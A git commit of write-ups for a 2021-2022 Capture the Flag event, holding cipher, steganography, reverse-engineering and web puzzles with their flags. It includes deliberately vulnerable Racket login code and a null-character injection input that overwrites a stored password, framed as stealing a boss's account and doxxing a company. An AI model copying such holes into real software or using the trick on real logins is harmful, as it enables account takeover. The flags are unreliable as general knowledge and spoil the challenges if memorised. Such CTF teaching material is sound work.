added writeups
This commit is contained in:
commit
e2a2d2c408
5
README.md
Normal file
5
README.md
Normal file
@ -0,0 +1,5 @@
|
||||
IG CTF 2021-2022 Write ups
|
||||
==========================
|
||||
|
||||
This repository contains all the write-ups for the challenges of the Capture the Flag event of 2021-2022. Make sure to read the README.md and SOLUTION.md files.
|
||||
|
6
allstar/README.md
Normal file
6
allstar/README.md
Normal file
@ -0,0 +1,6 @@
|
||||
# Allstar
|
||||
## Text
|
||||
Een beetje muziek kan nooit kwaad.
|
||||
https://www.youtube.com/watch?v=L_jWHffIx5E
|
||||
## Files
|
||||
lyrics.txt
|
6
allstar/SOLUTION.md
Normal file
6
allstar/SOLUTION.md
Normal file
@ -0,0 +1,6 @@
|
||||
## Difficulty
|
||||
Easy.
|
||||
## How To Solve
|
||||
Uppercase characters form the flag.
|
||||
## Flag
|
||||
IGCTF{INPLAINSIGHTNOTATROLL}
|
51
allstar/lyrics.txt
Normal file
51
allstar/lyrics.txt
Normal file
@ -0,0 +1,51 @@
|
||||
somebody once told me the world is gonna roll me
|
||||
I ain't the sharpest tool in the shed
|
||||
she was lookinG kind of dumb with her finger and her thumb
|
||||
in the shape of an "l" on her forehead
|
||||
well the years start Coming and They don't stop coming
|
||||
Fed to the rules and i hit the ground running{
|
||||
dIdN't make sense not to live for fun
|
||||
your brain gets smart but your head gets dumb
|
||||
so much to do, so much to see
|
||||
so what's wrong with taking the back streets?
|
||||
you'll never know if you don't go
|
||||
you'll never shine if you don't glow
|
||||
hey now, you're an all-star, get your game on, go Play
|
||||
hey now, you're a rock star, get the show on, get paid
|
||||
and aLl thAt glItters is gold
|
||||
oNly ShootInG stars break the mold
|
||||
it's a cool place and tHey say iT gets colder
|
||||
you're bundled up now, wait 'til you get older
|
||||
but the meteor meN beg to differ
|
||||
judging by the hole in the satellite picture
|
||||
the ice we skate is getting pretty thin
|
||||
the water's getting warm sO you might as well swim
|
||||
my world's on fire, how about yours?
|
||||
that's the way i like it and i'll never get bored
|
||||
hey now, you're an all-star, geT your game on, go play
|
||||
hey now, you're A rock star, get the show on, get paid
|
||||
all that glitters is gold
|
||||
only shooting stars break the mold
|
||||
hey now, you're an all-sTar, get your game on, go play
|
||||
hey now, you're a rock star, get the show, on get paid
|
||||
and all that glitters is gold
|
||||
only shooting staRs
|
||||
somebody once asked could i spare some change for gas?
|
||||
i need to get myself away from this place
|
||||
i said, "yup" what a cOncept
|
||||
i could use a little fuel myself
|
||||
and we could all use a littLe change
|
||||
well, the years start coming and they don't stop coming
|
||||
fed to the rules and i hit the ground running
|
||||
didn't make sense not to live for fun
|
||||
your brain gets smart but your head gets dumb
|
||||
so much to do, so much to see
|
||||
so what's wrong with taking the back streets?
|
||||
you'll never know if you don't go (go!)
|
||||
you'll never shine if you don't gLow
|
||||
hey now, you're an all-star, get your game on, go play
|
||||
hey now, you're a rock star, get the show on, get paid
|
||||
and all that glitters is} gold
|
||||
only shooting stars break the mold
|
||||
and all that glitters is gold
|
||||
only shooting stars break the mold
|
8
battleship/README.md
Normal file
8
battleship/README.md
Normal file
@ -0,0 +1,8 @@
|
||||
# Battleship
|
||||
|
||||
## Text
|
||||
Commander, the enemy is planning a naval attack soon, but we do not have enough information to know exactly what they are planning. We managed to intercept a message they were sending amongst themselves, but unfortunately it is encrypted. All we know about the encryption technique is that it has something to do with the provided image. Can you encrypt the message? The message is: EYTAQCTQRA{EYTCTARYEYRCTAEARYWQRCWQEYTQQHTQQHEQWAQHEYTY}
|
||||
|
||||
## Files
|
||||
board.png
|
||||
|
9
battleship/SOLUTION.md
Normal file
9
battleship/SOLUTION.md
Normal file
@ -0,0 +1,9 @@
|
||||
## Difficulty
|
||||
Easy. 20 points
|
||||
|
||||
## How To Solve
|
||||
Pair up every letter, and use the letters as coordinates on the field, with the first letter representing the column, and the second the row. The intersection is the actual letter.
|
||||
|
||||
index.js and solution.py provide a solution.
|
||||
## Flag
|
||||
IGCTF{IMGOINGDOWNWITHTHESHIP}
|
BIN
battleship/board.png
Normal file
BIN
battleship/board.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 1.7 KiB |
18
battleship/index.js
Normal file
18
battleship/index.js
Normal file
@ -0,0 +1,18 @@
|
||||
function makeBattleship(message, board) {
|
||||
return message.split('').map(ch => {
|
||||
|
||||
if(board.flat().indexOf(ch) < 0) {
|
||||
return ch;
|
||||
} else {
|
||||
|
||||
const x = board.filter(row => row.indexOf(ch) >= 0).flat().indexOf(ch)
|
||||
const y = board.findIndex(row => row.indexOf(ch) >= 0)
|
||||
|
||||
return [board[0][x], board[y][0]].join('')
|
||||
}
|
||||
}).join('')
|
||||
}
|
||||
|
||||
console.log(makeBattleship(
|
||||
'IGCTF{IMGOINGDOWNWITHTHESHIP}',
|
||||
[['Q', 'W', 'E', 'R', 'T'], ['Y', 'U', 'I', 'O', 'P'], ['A', 'S', 'D', 'F', 'G'], ['H', 'K', 'L', 'Z', 'X'], ['C', 'V', 'B', 'N', 'M']]))
|
5
blog/README.md
Normal file
5
blog/README.md
Normal file
@ -0,0 +1,5 @@
|
||||
# My perfect blog
|
||||
## Text
|
||||
Ik heb een mooie blog geschreven. Op een van de pagina's zit de vlag verstopt. Kan jij hem vinden?
|
||||
## Files
|
||||
/
|
6
blog/SOLUTION.md
Normal file
6
blog/SOLUTION.md
Normal file
@ -0,0 +1,6 @@
|
||||
## Difficulty
|
||||
Medium, not very technical
|
||||
## How to solve
|
||||
One of the pages will tell you that the flag starts with `IGCTF{Find my`, you can use this to deduce that the page URL will be `/IGCTF{Find-my/`.
|
||||
## Flag
|
||||
IGCTF{Find my flag! 4ae82557-42bc-42db-bf57-1ee53a90737d}
|
BIN
blog/src.zip
Normal file
BIN
blog/src.zip
Normal file
Binary file not shown.
14
blog/src/IGCTF{Find-m/index.html
Normal file
14
blog/src/IGCTF{Find-m/index.html
Normal file
@ -0,0 +1,14 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width">
|
||||
<title>IGCTF{Find my flag! 4ae82557-42bc-42db-bf57-1ee53a90737d}</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>IGCTF{Find my flag! 4ae82557-42bc-42db-bf57-1ee53a90737d}</h1>
|
||||
<p>
|
||||
You found it! Yay! :3
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
13
blog/src/awesome-reci/index.html
Normal file
13
blog/src/awesome-reci/index.html
Normal file
@ -0,0 +1,13 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width">
|
||||
<title>Best asbesthos recipies 🙏</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Awesome recipies for asbesthos!</h1>
|
||||
<p>Does anybody know a good recipie for boiled asbesthos?</p>
|
||||
<a href="The flag is IGCTF{Find my...... haha, no"></a>
|
||||
</body>
|
||||
</html>
|
13
blog/src/club-penguin/index.html
Normal file
13
blog/src/club-penguin/index.html
Normal file
@ -0,0 +1,13 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width">
|
||||
<title>Club penguin free robux!</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Club penguin free robux!</h1>
|
||||
<p>Club penguin free robux dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.</p>
|
||||
<a href="Which URL would contain the flag...?? 🤔"></a>
|
||||
</body>
|
||||
</html>
|
15
blog/src/discord-amon/index.html
Normal file
15
blog/src/discord-amon/index.html
Normal file
@ -0,0 +1,15 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width">
|
||||
<title>Discord among us jews!<title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Discord among US jews!<h1>
|
||||
<p>
|
||||
<a href="https://www.nytimes.com/1982/07/15/world/discord-among-us-jews-over-israel-seems-to-grow.html" target="_blank">Interesting article</a>
|
||||
</p>
|
||||
<a href="Which URL would contain the flag...?? 🤔"></a>
|
||||
</body>
|
||||
</html>
|
19
blog/src/index.html
Normal file
19
blog/src/index.html
Normal file
@ -0,0 +1,19 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width">
|
||||
<title>My blog</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>My awesome blog!</h1>
|
||||
<p>Welcome to my awesome blog!</p>
|
||||
<h2>Pages:</h2>
|
||||
<ul>
|
||||
<li><a href="/my-best-frie/">My best friends!</a></li>
|
||||
<li><a href="/awesome-reci/">Awesome recipies for asbesthos!</a></li>
|
||||
<li><a href="/club-penguin/">Club penguin free robux!</a></li>
|
||||
<li><a href="/discord-amon/">Discord among us jews!</a></li>
|
||||
</ul>
|
||||
</body>
|
||||
</html>
|
18
blog/src/my-best-frie/index.html
Normal file
18
blog/src/my-best-frie/index.html
Normal file
@ -0,0 +1,18 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width">
|
||||
<title>My best friends!</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>My best friends!</h1>
|
||||
<p>
|
||||
My friends:
|
||||
<ol>
|
||||
<li> </li>
|
||||
</ol>
|
||||
</p>
|
||||
<a href="Which URL would contain the flag...?? 🤔"></a>
|
||||
</body>
|
||||
</html>
|
12
buffer_buffet/part1/README.md
Normal file
12
buffer_buffet/part1/README.md
Normal file
@ -0,0 +1,12 @@
|
||||
# Buffer Buffet - Part 1
|
||||
|
||||
## Text
|
||||
You recently started working in an important company as server manager; being responsible that all IT-infrastructure at the company works smoothly. The machines work with a very simple memory model, and the code of these machines is available as scheme code along with this challenge. The code specifically covers how usernames and passwords are stored in the memory.
|
||||
|
||||
The memory model works as follows: the memory is one large vector that contains characters on each slot. All values are represented as strings, and each character of that string is put in a slot in the memory. Values are separated from each other using a null character (represented as #\null or \0) in the slot that separates both values. The memory is initialised with two values: the username of the administrator account (the account of your boss), and the password of that account, both values are written right besides each other in memory (with a null character separating the two, of course).
|
||||
|
||||
Your boss told you that he wanted you to change the name of the admin account to something else, and provides you with this netcat link to do so: {link here}. Knowing that your boss is a complete doo-doo no-good that didn't want to give you a raise after working at the company for two days, you decide to use this opportunity to perhaps steal the password to his account. Will you manage to find the password and ruin his day?
|
||||
|
||||
## Files
|
||||
index.rkt
|
||||
|
8
buffer_buffet/part1/SOLUTION.md
Normal file
8
buffer_buffet/part1/SOLUTION.md
Normal file
@ -0,0 +1,8 @@
|
||||
## Difficulty
|
||||
Easy, 20 points
|
||||
|
||||
## How to Solve
|
||||
Just enter a username that is 6 characters long. The system tells you that the new name can be no longer than 5 characters in length, and this is to make sure you will not overwrite the password. But this is not enough: the system should also make sure that the null character that separates the two values does not get overwritten, which is still possible. Hence, you have to enter a name that is the lenght of admin long, + 1.
|
||||
|
||||
## Flag
|
||||
IGCTF{AllUCanEat}
|
41
buffer_buffet/part1/index.rkt
Normal file
41
buffer_buffet/part1/index.rkt
Normal file
@ -0,0 +1,41 @@
|
||||
#lang racket
|
||||
|
||||
(define memory (make-vector 1024 #\nul))
|
||||
|
||||
(define flag (if (getenv "FLAG") (getenv "FLAG") "NO-FLAG-DEFINED"))
|
||||
|
||||
(define (write-to-memory! str memory-start-index)
|
||||
(define str-length (string-length str))
|
||||
(define (loop str-index)
|
||||
(when (< str-index str-length)
|
||||
(vector-set! memory (+ memory-start-index str-index) (string-ref str str-index))
|
||||
(loop (+ str-index 1))))
|
||||
(loop 0))
|
||||
|
||||
(define (init-memory!)
|
||||
(write-to-memory! "admin\0" 8)
|
||||
(write-to-memory! (string-append flag "\0") 14))
|
||||
|
||||
(init-memory!)
|
||||
|
||||
(define (read-from-memory memory-start-index)
|
||||
(define (loop str curr-index)
|
||||
(if (equal? (vector-ref memory curr-index) #\nul)
|
||||
str
|
||||
(loop (string-append str (string (vector-ref memory curr-index))) (+ curr-index 1))))
|
||||
(loop "" memory-start-index))
|
||||
|
||||
(define (main)
|
||||
(display "Editing user name 'admin'\n")
|
||||
(display "Enter new name: ")
|
||||
(define new-username (symbol->string (read)))
|
||||
(if (> (string-length new-username) (- 14 8))
|
||||
(begin
|
||||
(display "Error: new username cannot be longer than old username\n")
|
||||
(main))
|
||||
(begin
|
||||
(write-to-memory! new-username 8)
|
||||
(display (string-append "Successfully changed username of 'admin' to '" (read-from-memory 8) "'")))))
|
||||
|
||||
(main)
|
||||
|
8
buffer_buffet/part2/README.md
Normal file
8
buffer_buffet/part2/README.md
Normal file
@ -0,0 +1,8 @@
|
||||
# Buffer Buffet - Part 2
|
||||
|
||||
## Text
|
||||
Good job! You managed to get the password of your boss and raised your wage so high he caught glimps of it and fired you. However, he forgot that you still have access to their system via this netcat link: {link here}. This link brings you to the password prompt, and all related password prompt code is available in the provided Racket file. Try and see if you can still log in as the admin account to steal info from the company to doxx them.
|
||||
|
||||
## Files
|
||||
A redacted variant of index.rkt
|
||||
|
14
buffer_buffet/part2/SOLUTION.md
Normal file
14
buffer_buffet/part2/SOLUTION.md
Normal file
@ -0,0 +1,14 @@
|
||||
## Difficulty
|
||||
Medium, 50 points
|
||||
|
||||
## How to Solve
|
||||
Again, the memory layout is the same as before: all values are strings and they are separated with a null separator. This time, the memory contains the first user, followed by its password, followed by the second user, followed by the second user's password, etc. The only difference this time, is that the username that the users enters (the username the user wants to log in with), is saved in memory in the first 8 slots of memory.
|
||||
|
||||
The idea is to provide a username that is at least 8 characters long, followed by one extra character to override the null separator, then provide the same username again, followed by yet another null separator, and then any old sequence of characters. This last sequence of characters will override the password of the user, so we then use this sequence of characters as password, and we gain access to the account.
|
||||
|
||||
Example input:
|
||||
admin: admin\0\0\0\0admin\0poopoo\0
|
||||
password: poopoo
|
||||
|
||||
## Flag
|
||||
IGCTF{BossLikesPineappleOnPizza}
|
77
buffer_buffet/part2/index.rkt
Normal file
77
buffer_buffet/part2/index.rkt
Normal file
@ -0,0 +1,77 @@
|
||||
#lang racket
|
||||
|
||||
(define memory (make-vector 1024 #\nul))
|
||||
|
||||
(define flag (if (getenv "FLAG") (getenv "FLAG") "NO-FLAG-DEFINED"))
|
||||
|
||||
(define (write-to-memory! str memory-start-index)
|
||||
(define str-length (string-length str))
|
||||
(define (loop str-index)
|
||||
(when (< str-index str-length)
|
||||
(vector-set! memory (+ memory-start-index str-index) (string-ref str str-index))
|
||||
(loop (+ str-index 1))))
|
||||
(loop 0))
|
||||
|
||||
(define (init-memory!)
|
||||
(write-to-memory! "admin\0" 8)
|
||||
(write-to-memory! "does_not_matter\0" 14))
|
||||
|
||||
(init-memory!)
|
||||
|
||||
(define (read-from-memory memory-start-index)
|
||||
(define (loop str curr-index)
|
||||
(if (equal? (vector-ref memory curr-index) #\nul)
|
||||
str
|
||||
(loop (string-append str (string (vector-ref memory curr-index))) (+ curr-index 1))))
|
||||
(loop "" memory-start-index))
|
||||
|
||||
(define (find-in-memory value)
|
||||
(define (loop memory-index value-index)
|
||||
|
||||
(cond
|
||||
((>= memory-index (vector-length memory))
|
||||
#f)
|
||||
((>= value-index (string-length value))
|
||||
(if (equal? (vector-ref memory memory-index) #\nul)
|
||||
(- memory-index (string-length value))
|
||||
(loop (+ memory-index 1) 0)))
|
||||
((equal? (vector-ref memory memory-index) (string-ref value value-index))
|
||||
(loop (+ memory-index 1) (+ value-index 1)))
|
||||
(else
|
||||
(loop (+ memory-index 1) 0))))
|
||||
(loop 8 0))
|
||||
|
||||
(define (find-next-value-in-memory-after start-memory-index-previous)
|
||||
(define (loop memory-index)
|
||||
(if (equal? (vector-ref memory memory-index) #\nul)
|
||||
(+ memory-index 1)
|
||||
(loop (+ memory-index 1))))
|
||||
(loop start-memory-index-previous))
|
||||
|
||||
(define (get-password-for username)
|
||||
(define username-in-memory (find-in-memory username))
|
||||
(if username-in-memory
|
||||
(read-from-memory (find-next-value-in-memory-after username-in-memory))
|
||||
#f))
|
||||
|
||||
(define (receive-login-attempt-username username)
|
||||
(write-to-memory! username 0))
|
||||
|
||||
(define (passwords-match? received-password)
|
||||
(define login-username (read-from-memory 0))
|
||||
(define password-in-memory (get-password-for login-username))
|
||||
(equal? received-password password-in-memory))
|
||||
|
||||
(define (accept-null-termination str)
|
||||
(string-replace str "\\0" "\0"))
|
||||
|
||||
(define (main)
|
||||
(display "username: " (current-output-port))
|
||||
(receive-login-attempt-username (accept-null-termination (read-line (current-input-port) 'any)))
|
||||
(display "password: " (current-output-port))
|
||||
(define password (read-line (current-input-port) 'any))
|
||||
(if (passwords-match? password)
|
||||
(display (string-append "Superduper dokaboka bolegismo secret flag: " flag " :)") (current-output-port))
|
||||
(display "Incorrect password!!!1!! >:(" (current-output-port))))
|
||||
|
||||
(main)
|
76
buffer_buffet/part2/redacted_index.rkt
Normal file
76
buffer_buffet/part2/redacted_index.rkt
Normal file
@ -0,0 +1,76 @@
|
||||
#lang racket
|
||||
|
||||
(define memory (make-vector 1024 #\nul))
|
||||
|
||||
(define (write-to-memory! str memory-start-index)
|
||||
(define str-length (string-length str))
|
||||
(define (loop str-index)
|
||||
(when (< str-index str-length)
|
||||
(vector-set! memory (+ memory-start-index str-index) (string-ref str str-index))
|
||||
(loop (+ str-index 1))))
|
||||
(loop 0))
|
||||
|
||||
(define (init-memory!)
|
||||
(write-to-memory! "admin\0" 8)
|
||||
(write-to-memory! "<PASSWORD>\0" 14))
|
||||
|
||||
(init-memory!)
|
||||
|
||||
(define (read-from-memory memory-start-index)
|
||||
(define (loop str curr-index)
|
||||
(if (equal? (vector-ref memory curr-index) #\nul)
|
||||
str
|
||||
(loop (string-append str (string (vector-ref memory curr-index))) (+ curr-index 1))))
|
||||
(loop "" memory-start-index))
|
||||
|
||||
(define (find-in-memory value)
|
||||
(define (loop memory-index value-index)
|
||||
|
||||
(cond
|
||||
((>= memory-index (vector-length memory))
|
||||
#f)
|
||||
((>= value-index (string-length value))
|
||||
(if (equal? (vector-ref memory memory-index) #\nul)
|
||||
(- memory-index (string-length value))
|
||||
(loop (+ memory-index 1) 0)))
|
||||
((equal? (vector-ref memory memory-index) (string-ref value value-index))
|
||||
(loop (+ memory-index 1) (+ value-index 1)))
|
||||
(else
|
||||
(loop (+ memory-index 1) 0))))
|
||||
(loop 8 0))
|
||||
|
||||
(define (find-next-value-in-memory-after start-memory-index-previous)
|
||||
(define (loop memory-index)
|
||||
(if (equal? (vector-ref memory memory-index) #\nul)
|
||||
(+ memory-index 1)
|
||||
(loop (+ memory-index 1))))
|
||||
(loop start-memory-index-previous))
|
||||
|
||||
(define (get-password-for username)
|
||||
(define username-in-memory (find-in-memory username))
|
||||
(if username-in-memory
|
||||
(read-from-memory (find-next-value-in-memory-after username-in-memory))
|
||||
#f))
|
||||
|
||||
(define (receive-login-attempt-username username)
|
||||
(write-to-memory! username 0))
|
||||
|
||||
(define (passwords-match? received-password)
|
||||
(define login-username (read-from-memory 0))
|
||||
(define password-in-memory (get-password-for login-username))
|
||||
(equal? received-password password-in-memory))
|
||||
|
||||
(define (accept-null-termination str)
|
||||
(string-replace str "\\0" "\0"))
|
||||
|
||||
; Using \0 in your username or password string will be interpreted as the null character. Surely this is very safe and secure and will certainly not cause potential leaks
|
||||
|
||||
(define (main)
|
||||
(display "username: ")
|
||||
(receive-login-attempt-username (accept-null-termination (read-line (current-input-port) 'any)))
|
||||
(display "password: ")
|
||||
(if (passwords-match? (read-line (current-input-port) 'any))
|
||||
(flag-or-something-idk)
|
||||
(display "Incorrect password!!!1!! >:(")))
|
||||
|
||||
(main)
|
8
crackme/README.md
Normal file
8
crackme/README.md
Normal file
@ -0,0 +1,8 @@
|
||||
# Crackme
|
||||
|
||||
## Text
|
||||
This is your classic crackme challenge. Reverse engineer the binary to find the flag!
|
||||
|
||||
## Files
|
||||
Participants should receive the `crackme` binary. NOT the source code and NOT the solution.
|
||||
|
11
crackme/SOLUTION.md
Normal file
11
crackme/SOLUTION.md
Normal file
@ -0,0 +1,11 @@
|
||||
## Difficulty
|
||||
Moderate/Hard
|
||||
60 punten?
|
||||
|
||||
## How to solve
|
||||
The secret can be found in the binary. A couple of transformations are applied to it. To recover the flag: apply these transformations in reverse to the secret. To easily see the secret and the transformation you can decompile the binary using a tool like Ghidra.
|
||||
|
||||
An example solution in given in solution.c.
|
||||
|
||||
## Flag
|
||||
IGCTF{ThankYouForRemembering}
|
BIN
crackme/crackme
Executable file
BIN
crackme/crackme
Executable file
Binary file not shown.
38
crackme/crackme.c
Normal file
38
crackme/crackme.c
Normal file
@ -0,0 +1,38 @@
|
||||
#include <stdio.h>
|
||||
|
||||
const char secret[] = {0xC5, 0xC7, 0xCB, 0xBA, 0xC8, 0x93, 0xBA, 0xA6, 0xAD, 0xA0, 0xA3, 0xB5, 0x9F, 0x99, 0xC8, 0x9F, 0x9C, 0xBC, 0xA9, 0xA1, 0xA9, 0xA1, 0xAC, 0xA9, 0x9C, 0xA5, 0xA0, 0xA7, 0x91, 0x00};
|
||||
|
||||
int checkPswd(char buffer[]) {
|
||||
for (int i = 0; i < sizeof(secret) - 1; i++) {
|
||||
int* ii = &i;
|
||||
char* iii = (char*) ii;
|
||||
if (secret[i] != (((~(buffer[i])) + 15) ^ iii[3])) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int pswdReadloop() {
|
||||
for (int i = 2; i >= 0; i--) {
|
||||
char buffer[1024];
|
||||
printf("> ");
|
||||
fflush(stdout);
|
||||
fgets(buffer, sizeof(buffer), stdin);
|
||||
if ((checkPswd(buffer)) == 0) {
|
||||
return 0;
|
||||
}
|
||||
printf("WRONG!!!! %d attempts remaining\n", i);
|
||||
}
|
||||
printf("How could you forget the password! Now all is lost because of you...\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int main() {
|
||||
printf("Give me the password!!!\n");
|
||||
int correct = pswdReadloop();
|
||||
if (correct == 0) {
|
||||
printf("Correct! Wonderful!\n");
|
||||
}
|
||||
return correct;
|
||||
}
|
11
crackme/solution.c
Normal file
11
crackme/solution.c
Normal file
@ -0,0 +1,11 @@
|
||||
#include <stdio.h>
|
||||
|
||||
const char secret[] = {0xC5, 0xC7, 0xCB, 0xBA, 0xC8, 0x93, 0xBA, 0xA6, 0xAD, 0xA0, 0xA3, 0xB5, 0x9F, 0x99, 0xC8, 0x9F, 0x9C, 0xBC, 0xA9, 0xA1, 0xA9, 0xA1, 0xAC, 0xA9, 0x9C, 0xA5, 0xA0, 0xA7, 0x91, 0x00};
|
||||
|
||||
int main() {
|
||||
for (int i = 0; i < sizeof(secret); i++) {
|
||||
int* ii = &i;
|
||||
char* iii = (char*) ii;
|
||||
printf("%c", ~((secret[i] ^ iii[3]) - 15));
|
||||
}
|
||||
}
|
8
cynal_go/README.md
Normal file
8
cynal_go/README.md
Normal file
@ -0,0 +1,8 @@
|
||||
# Cynal Go
|
||||
|
||||
## Text
|
||||
En toen wist ik wat er al die jaren gewrongen had. Hier moet ik zijn. Ik ben een Vlaming. In Vlaanderen wil ik leven. In Vlaanderen wil ik sterven. En ik dank Cynalco dat ze mij de kans hebben gegeven om hier in Vlaanderen te kunnen werken!
|
||||
|
||||
## Files
|
||||
Deelnemers moeten de `cynal_go` binary krijgen. NIET de source code!
|
||||
|
12
cynal_go/SOLUTION.md
Normal file
12
cynal_go/SOLUTION.md
Normal file
@ -0,0 +1,12 @@
|
||||
## Difficulty
|
||||
Easy
|
||||
20 punten
|
||||
|
||||
## How to solve
|
||||
The binary is a simple program that prints some strings (try it). It is quite large since it was compiled from Go, and Go builds very fat binaries. The easiest way to solve it is using strings and grep:
|
||||
```bash
|
||||
strings cynal_go | grep "IGCTF"
|
||||
```
|
||||
|
||||
## Flag
|
||||
IGCTF{AcHtErHeTpApIeRz1TeEnVrI3nD}
|
BIN
cynal_go/cynal_go
Executable file
BIN
cynal_go/cynal_go
Executable file
Binary file not shown.
10
cynal_go/cynal_go.go
Normal file
10
cynal_go/cynal_go.go
Normal file
@ -0,0 +1,10 @@
|
||||
package main
|
||||
|
||||
func main() {
|
||||
flag := "IGCTF{AcHtErHeTpApIeRz1TeEnVrI3nD}"
|
||||
println("CYNAAAAAAAAAL")
|
||||
println("GO")
|
||||
println("GO GO")
|
||||
println("GO GO GO")
|
||||
print(flag[0:0])
|
||||
}
|
3
find_the_flag/README.md
Normal file
3
find_the_flag/README.md
Normal file
@ -0,0 +1,3 @@
|
||||
## Sussy Imposter
|
||||
The flag is under the flag.
|
||||
Go on an adventure :)
|
10
find_the_flag/SOLUTION.md
Normal file
10
find_the_flag/SOLUTION.md
Normal file
@ -0,0 +1,10 @@
|
||||
## Difficulty
|
||||
Easy. 20 points
|
||||
|
||||
## How to Solve
|
||||
Image was a picture taking in the hallway of the Infogroep room.
|
||||
The flag was printed below the flag, so you had to go there physically to get the flag.
|
||||
|
||||
## Flag
|
||||
IGCTF{825eb101-b22d-4278-876f-e8d54879335e}
|
||||
|
130
moderated/.gitignore
vendored
Normal file
130
moderated/.gitignore
vendored
Normal file
@ -0,0 +1,130 @@
|
||||
|
||||
# Created by https://www.toptal.com/developers/gitignore/api/node
|
||||
# Edit at https://www.toptal.com/developers/gitignore?templates=node
|
||||
|
||||
### Node ###
|
||||
# Logs
|
||||
logs
|
||||
*.log
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
lerna-debug.log*
|
||||
.pnpm-debug.log*
|
||||
|
||||
# Diagnostic reports (https://nodejs.org/api/report.html)
|
||||
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
|
||||
|
||||
# Runtime data
|
||||
pids
|
||||
*.pid
|
||||
*.seed
|
||||
*.pid.lock
|
||||
|
||||
# Directory for instrumented libs generated by jscoverage/JSCover
|
||||
lib-cov
|
||||
|
||||
# Coverage directory used by tools like istanbul
|
||||
coverage
|
||||
*.lcov
|
||||
|
||||
# nyc test coverage
|
||||
.nyc_output
|
||||
|
||||
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
|
||||
.grunt
|
||||
|
||||
# Bower dependency directory (https://bower.io/)
|
||||
bower_components
|
||||
|
||||
# node-waf configuration
|
||||
.lock-wscript
|
||||
|
||||
# Compiled binary addons (https://nodejs.org/api/addons.html)
|
||||
build/Release
|
||||
|
||||
# Dependency directories
|
||||
node_modules/
|
||||
jspm_packages/
|
||||
|
||||
# Snowpack dependency directory (https://snowpack.dev/)
|
||||
web_modules/
|
||||
|
||||
# TypeScript cache
|
||||
*.tsbuildinfo
|
||||
|
||||
# Optional npm cache directory
|
||||
.npm
|
||||
|
||||
# Optional eslint cache
|
||||
.eslintcache
|
||||
|
||||
# Microbundle cache
|
||||
.rpt2_cache/
|
||||
.rts2_cache_cjs/
|
||||
.rts2_cache_es/
|
||||
.rts2_cache_umd/
|
||||
|
||||
# Optional REPL history
|
||||
.node_repl_history
|
||||
|
||||
# Output of 'npm pack'
|
||||
*.tgz
|
||||
|
||||
# Yarn Integrity file
|
||||
.yarn-integrity
|
||||
|
||||
# dotenv environment variables file
|
||||
.env
|
||||
.env.test
|
||||
.env.production
|
||||
|
||||
# parcel-bundler cache (https://parceljs.org/)
|
||||
.cache
|
||||
.parcel-cache
|
||||
|
||||
# Next.js build output
|
||||
.next
|
||||
out
|
||||
|
||||
# Nuxt.js build / generate output
|
||||
.nuxt
|
||||
dist
|
||||
|
||||
# Gatsby files
|
||||
.cache/
|
||||
# Comment in the public line in if your project uses Gatsby and not Next.js
|
||||
# https://nextjs.org/blog/next-9-1#public-directory-support
|
||||
# public
|
||||
|
||||
# vuepress build output
|
||||
.vuepress/dist
|
||||
|
||||
# Serverless directories
|
||||
.serverless/
|
||||
|
||||
# FuseBox cache
|
||||
.fusebox/
|
||||
|
||||
# DynamoDB Local files
|
||||
.dynamodb/
|
||||
|
||||
# TernJS port file
|
||||
.tern-port
|
||||
|
||||
# Stores VSCode versions used for testing VSCode extensions
|
||||
.vscode-test
|
||||
|
||||
# yarn v2
|
||||
.yarn/cache
|
||||
.yarn/unplugged
|
||||
.yarn/build-state.yml
|
||||
.yarn/install-state.gz
|
||||
.pnp.*
|
||||
|
||||
### Node Patch ###
|
||||
# Serverless Webpack directories
|
||||
.webpack/
|
||||
|
||||
# End of https://www.toptal.com/developers/gitignore/api/node
|
||||
|
16
moderated/README.md
Normal file
16
moderated/README.md
Normal file
@ -0,0 +1,16 @@
|
||||
# Moderated
|
||||
|
||||
## Text
|
||||
|
||||
I found this new social network, but every post requires moderation. Luckily the moderator regularly checks the new posts, but I guess my posts are too extreme to get accepted... Can you get access to the moderator account to approve my posts?
|
||||
|
||||
## Files
|
||||
|
||||
None
|
||||
|
||||
## How to deploy
|
||||
|
||||
Simply install node dependencies and run `app.js`.
|
||||
Also **IMPORTANT** change the URL in `moderator.js` to
|
||||
the correct URL (the one on which the app is deployed),
|
||||
I was too lazy to put it into a env variable...
|
38
moderated/SOLUTION.md
Normal file
38
moderated/SOLUTION.md
Normal file
@ -0,0 +1,38 @@
|
||||
## Difficulty
|
||||
|
||||
Difficult
|
||||
90 punten
|
||||
|
||||
## How to solve
|
||||
|
||||
The challenge consists of small web application where you can register and login.
|
||||
First you will need to register for a new account, as you don't know any account
|
||||
credentials yet. After doing so you will be redirected to the login page
|
||||
